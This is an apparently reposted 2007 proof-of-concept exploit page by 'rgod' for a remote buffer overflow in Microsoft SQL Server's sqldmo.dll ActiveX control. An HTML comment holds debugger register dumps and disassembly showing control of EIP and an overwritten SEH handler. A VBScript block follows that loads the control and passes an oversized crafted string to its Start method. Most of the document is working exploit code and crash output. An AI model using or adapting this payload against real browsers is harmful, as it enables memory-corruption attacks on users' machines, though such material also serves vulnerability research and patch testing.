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Microsoft SQL Server Distributed Management Objects (sqldmo.dll) BoF
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来源：http://retrogod.altervista.org 作者：rgod 发布时间：2007-09-10
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<!--
18.48 01/09/2007
Microsoft SQL Server Distributed Management Objects OLE DLL for
SQL Enterprise Manager (sqldmo.dll) remote buffer overflow poc
file version: 2000.085.2004.00
product version: 8.05.2004
passing some fuzzy chars to Start method:
EAX 00000000
ECX 00620062
EDX 00620062
EBX 1C3A3638 SQLDMO.1C3A3638
ESP 0013D87C
EBP 0013DAA8
ESI 03042544
EDI 0013DAA0 ASCII "|T"
EIP 1C1C9800 SQLDMO.1C1C9800
...
1C1C97EA 8D8D E4FDFFFF LEA ECX,DWORD PTR SS:[EBP-21C]
1C1C97F0 51 PUSH ECX
1C1C97F1 8B95 E0FDFFFF MOV EDX,DWORD PTR SS:[EBP-220]
1C1C97F7 8B02 MOV EAX,DWORD PTR DS:[EDX]
1C1C97F9 8B8D E0FDFFFF MOV ECX,DWORD PTR SS:[EBP-220]
1C1C97FF 51 PUSH ECX
1C1C9800 FF90 DC010000 CALL DWORD PTR DS:[EAX+1DC] <--- exception
access violation when reading 000001DC
by manipulating edx you have the first exploitable condition...
also seh is overwritten, then:
EAX 00000000
ECX 00610061
EDX 7C9137D8 ntdll.7C9137D8
EBX 00000000
ESP 0013D4AC
EBP 0013D4CC
ESI 00000000
EDI 00000000
EIP 00610061
object safety report:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
means: works according to security settings for the Internet zone
needs Activex "not marked as safe" option set to "ask" or "enabled" (not the predefined one)
rgod.
http://retrogod.altervista.org
-->
<html>
<object classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5' id='SQLServer' /></object>
<script language='vbscript'>
targetFile = "C:\Programmi\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"
prototype = "Sub Start ( ByVal StartMode As Boolean , [ ByVal Server As Variant ] , [ ByVal Login As Variant ] , [ ByVal Password As Variant ] )"
memberName = "Start"
progid = "SQLDMO.SQLServer"
argCount = 4
'edx = ecx
edx ="bb"
seh ="aa"
StartMode =True
Server ="http://ZZZZ\YYYY\XXXX\WW?W\VVVV\AAAA\AAA\AAAAA\AAAA\AA@AA\tes\test\test\tes.\ttest\MMMM\LLLL\KKK\JJJJ\IIII\HH.H\GGGGG\FFFF\EEEE\DDD\CCCC\BBBB\AAA\A\\\\\\\\\:#$%AAAA\BBBB\CCCC\DD?D\EEEE\FFFF\GGG\\:#$%\HHHHH\IIII\te@st\tes\test\test\tes.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaa" + seh + "CCDmmm" + edx + "nnnBBBB\AAAA\ZZZ\Z\\\\\\\\\:#$%YYYY\XXXX\WWWW\VV?V\UUUU\TTTT\SSS\\:#$%\RRRRR\QQQQ\PP@PP\OOO\NNNN\MMMM\LLL.\KKKKK\JJJJ\IIII\HHH\GGGG\FFFF\EE.E\DDDDD\CCCC\BBBB\AAA\AAAA\AAAA\AAA\A\\\\\\\\\:#$%AAAA\AAAA\AAAA\AA?A\wwww\vvvv\uuu\\:#$%\ttttt\ssss\rr@rr\qqq\pppp\oooo\nnn.\mmmmm\llll\kkkk\jjj\iiii\hhhh\gg.g\fffff\eeee\dddd\ccc\bbbb\aaaa\AAA\A\\\\\\\"
Login ="aaaaaaaa"
Password ="bbbbbbbb"
SQLServer.Start StartMode ,Server ,Login ,Password
</script>
</html>
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